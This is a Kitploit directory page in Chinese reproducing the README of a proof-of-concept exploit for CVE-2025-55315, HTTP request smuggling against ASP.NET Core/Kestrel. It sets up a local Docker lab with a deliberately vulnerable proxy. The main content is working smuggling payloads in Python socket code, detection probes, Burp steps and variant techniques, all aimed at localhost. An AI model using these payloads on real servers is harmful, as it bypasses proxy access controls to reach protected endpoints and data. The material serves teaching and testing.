Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-55315 — CVE-2025-55315(.NET HTTP 请求走私)的概念验证漏洞利用。演示了错误解析的分块编码如何让攻击者在易受攻击的 ASP.NET Core/Kestrel 服务器中绕过代理和负载均衡器走私请求。 | Kitploit
工具/GitHubGitHub/martinfabianionut/cve-2025-55315
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试学习与教育
GitHubmartinfabianionut/cve-2025-55315

CVE-2025-55315

CVE-2025-55315(.NET HTTP 请求走私)的概念验证漏洞利用。演示了错误解析的分块编码如何让攻击者在易受攻击的 ASP.NET Core/Kestrel 服务器中绕过代理和负载均衡器走私请求。

查看仓库
139个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-55315

CVE-2025-55315 的概念验证漏洞利用程序(.NET HTTP 请求走私)。展示了错误解析的分块编码如何让攻击者绕过易受攻击的 ASP.NET Core/Kestrel 服务器中的代理和负载均衡器进行请求走私。

📊 演示

查看交互式 Prezi 演示

Prezi Presentation

🎥 点击上方徽章以查看完整的交互式 Prezi 演示

项目结构

  • Api - 整合的 ASP.NET Core API,包含两个 Dockerfile:
    • Dockerfile.vulnerable - 使用 .NET 10.0.100-rc.1(易受 CVE-2025-55315 影响)
    • Dockerfile.patched - 使用 .NET 10.0.100(已修补版本)
  • PythonProxy - 用于 CVE-2025-55315 漏洞利用演示的易受攻击代理(优先使用 Content-Length 而非 Transfer-Encoding)
  • YarpProxy - 用于测试负载均衡的 YARP 反向代理(不属于漏洞利用部分)

注意:该漏洞存在于 .NET 运行时的 HTTP 解析器 (Kestrel) 中,而非应用程序代码。两个版本使用相同的源代码,但 .NET 运行时版本不同。

快速开始

root@kitploit:~
# Build and run all services
docker-compose up --build

# Access the services
# Unsafe API: http://localhost:5001
# Safe API: http://localhost:5002
# Python Proxy (exploit): http://localhost:5027
# YARP Proxy (load balancing): http://localhost:5028

参见 DOCKER.md 以获取详细的 Docker 使用说明。

漏洞利用演示

Python 代理通过优先使用 Content-Length 而非 Transfer-Encoding 来演示 CVE-2025-55315,从而启用 HTTP 请求走私:

root@kitploit:~
payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5027\r\n"
    "Transfer-Encoding: chunked\r\n"
    "\r\n"
    "2;\n"
    "xx\r\n"
    "39\r\n"
    "0\r\n"
    "\r\n"
    "GET /passwords/admin HTTP/1.1\r\n"
    "Host: localhost:5001\r\n"
    "\r\n"
    "0\r\n"
    "\r\n"
)

import socket
import time

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 5027))
    s.sendall(payload.encode())
    
    # Read all available data
    s.settimeout(2.0)
    responses = b''
    try:
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            responses += chunk
    except socket.timeout:
        pass
    
    print("=== Complete Response ===")
    print(responses.decode('utf-8', errors='ignore'))
    print("\n=== Checking for smuggled request response ===")
    if b'/passwords/admin' in responses or b'admin' in responses:
        print("✓ Successfully smuggled request to /passwords/admin!")
    else:
        print("✗ Exploit failed or blocked")

该负载将第二个请求 /passwords/admin 走私通过代理的安全检查,利用了代理和后端服务器解析请求时的差异。

可视化请求解析

以下是代理和后端服务器对同一负载的不同解析方式:

关键差异:

详细说明:

  • 代理:接受 2;\n 作为有效的分块大小声明(2 字节)→ 将 xx 读取为 2 字节的分块主体 → 移至下一个分块(39)
  • 后端:拒绝 \n 作为行结束符 → 分块头部延伸至 2;\nxx\r\n → 将 39 读取为分块主体的一部分 → 0\r\n 终止分块
  • 结果:被走私的 GET /passwords/admin 请求隐藏在代理认为是分块主体数据的内容中,但后端将其解析为一个独立的 HTTP 请求。

被走私的 GET /passwords/admin 请求隐藏在代理认为是分块主体数据的内容中,但后端将其解析为一个独立的 HTTP 请求。

识别漏洞

在利用之前,您需要确定不同组件优先使用哪个 HTTP 头部(Content-Length 或 Transfer-Encoding)。以下是分步指南:

第 1 步:测试头部优先级

发送一个同时包含 Content-Length 和 Transfer-Encoding: chunked 头部的请求,以查看每个组件尊重哪一个:

root@kitploit:~
POST /passwords HTTP/1.1\r\n
Host: localhost:5001\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n

分析:

  • 如果服务器处理 "Fa"(2 字节)→ 它优先使用 Content-Length
  • 如果服务器处理 "Fabian"(完整的分块主体)→ 它优先使用 Transfer-Encoding

第 2 步:测试每个组件

测试架构中的所有组件以发现差异:

测试不安全 API(端口 5001)

root@kitploit:~
# Using Python
import socket

test_payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5001\r\n"
    "Transfer-Encoding: chunked\r\n"
    "Content-Length: 2\r\n"
    "\r\n"
    "6\r\n"
    "Fabian\r\n"
    "0\r\n"
    "\r\n"
)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 5001))
    s.sendall(test_payload.encode())
    s.settimeout(1.0)
    try:
        response = s.recv(4096)
        print("Unsafe API Response:", response.decode('utf-8', errors='ignore'))
    except socket.timeout:
        pass

测试安全 API(端口 5002)

root@kitploit:~
# Change port to 5002 and test
# Safe API should handle the conflict properly

测试 Python 代理(端口 5027)

root@kitploit:~
# Change port to 5027
# Python proxy favors Content-Length (vulnerable)

测试 YARP 代理(端口 5028)

root@kitploit:~
# Change port to 5028
# Test how YARP handles the header conflict

第 3 步:使用 Burp Suite 进行手动测试

  1. 拦截请求:捕获一个正常的 POST 请求到 /passwords
  2. 修改头部:手动添加两个头部:
root@kitploit:~
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
  1. 设置主体:使用分块编码格式:
root@kitploit:~
6\r\n
Fabian\r\n
0\r\n
\r\n   
  1. 比较响应:发送到不同的端点,分析每个处理了主体的哪部分
  2. 识别差异:如果代理读取 2 字节但后端读取完整分块,则存在不同步漏洞

第 4 步:构造漏洞利用

一旦识别出:

  • 代理:优先使用 Content-Length(仅读取 N 字节)
  • 后端:优先使用 Transfer-Encoding(读取分块主体)

您可以走私一个代理从未看到但后端会处理的第二个请求。

第 5 步:验证漏洞利用

运行完整的漏洞利用负载(参见上方“漏洞利用演示”部分)并确认:

  • 第一个响应:正常的 POST 结果
  • 第二个响应:管理端点数据(走私请求成功)

推荐工具

  • Burp Suite:手动请求构造和头部操作
  • Python socket:用于精确 HTTP 格式的低级控制
  • 带有 --data-binary 的 curl:快速命令行测试
  • Wireshark:数据包级分析,以确切查看每个组件接收的内容

替代漏洞利用变体

漏洞利用可以通过多种方式构造。尝试不同的方法:

使用显式 Content-Length

root@kitploit:~
# Add Content-Length to make the desync explicit
payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5027\r\n"
    "Content-Length: 75\r\n"
    "Transfer-Encoding: chunked\r\n"
    # ... rest of payload
)

为什么它在没有 Content-Length 时也能工作

  • 代理:接受 \n 作为有效行结束符 → 将 2;\n 视为分块大小 → 读取 2 字节(xx)
  • 后端:拒绝 \n → 分块头部延伸至 2;\nxx\r\n → 39 成为分块主体 → 0\r\n 结束分块
  • 结果:被走私的请求隐藏在分块主体中,被后端作为独立请求解析

实验思路

通过修改 PythonProxy/proxy_server.py 尝试不同的不同步场景:

  • CL.TE:代理使用 Content-Length,后端使用 Transfer-Encoding
  • TE.CL:代理使用 Transfer-Encoding,后端使用 Content-Length(尝试自己构造 API)
  • TE.TE:两者都使用 Transfer-Encoding,但解析方式不同(如 \n 与 \r\n)

尝试实验:

  • 不同的分块大小和格式
  • 连续多个走私请求
  • 各种 HTTP 方法(GET、POST、PUT、DELETE)——您可以在 API 中添加它们
  • 空白字符和特殊字符
下载工具

代理解析方式(接受 \n 作为有效行结束符):

root@kitploit:~
flowchart TD
    subgraph Proxy_Request_1 ["🔴 Request 1 - Proxy View"]
        PH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
        PCH1["<b>2;\n</b><br/><i>chunk header (accepts \n)</i>"]
        PCB1["<b>xx</b><br/><i>chunk body - 2 bytes</i>"]
        PCH2["<b>39</b><br/><i>chunk header</i>"]
        PCB2["<i>chunk body - 57 bytes</i><br/>(contains smuggled request)"]
        PLK["<b>0</b><br/><i>last chunk</i>"]
    end
    
    subgraph Proxy_Ignored ["⚫ Ignored by Proxy"]
        PIG["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/>0<br/>(Proxy thinks this is part of chunk body)"]
    end

    PH1 --> PCH1 --> PCB1 --> PCH2 --> PCB2 --> PLK
    PLK -.-> PIG

后端解析方式(拒绝 \n,要求 \r\n):

root@kitploit:~
flowchart TD
    subgraph Backend_Request_1 ["🟢 Request 1 - Backend View"]
        BH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/><b>2;\n</b> (invalid - part of headers)<br/><b>xx</b> (headers end here)"]
        BCB1["<b>39</b><br/><i>chunk body</i>"]
        BLK1["<b>0</b><br/><i>last chunk</i>"]
    end
    
    subgraph Backend_Request_2 ["🟢 Request 2 - Backend View"]
        BH2["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
        BLK2["<b>0</b><br/><i>last chunk</i>"]
    end

    BH1 --> BCB1 --> BLK1
    BLK1 --> BH2 --> BLK2
    
    style Backend_Request_2 fill:#ff6b6b,stroke:#c92a2a,stroke-width:3px
组件分块大小 2;\n读取字节数发生情况
代理✅ 有效分块大小2 字节 (xx)将 2;\n 视为完整的分块头部,读取 2 字节,继续下一个分块
后端❌ 无效的行结束符仍读取为 2 字节分块分块头部直到 xx\r\n 才结束,因此 39 成为分块主体,0 结束分块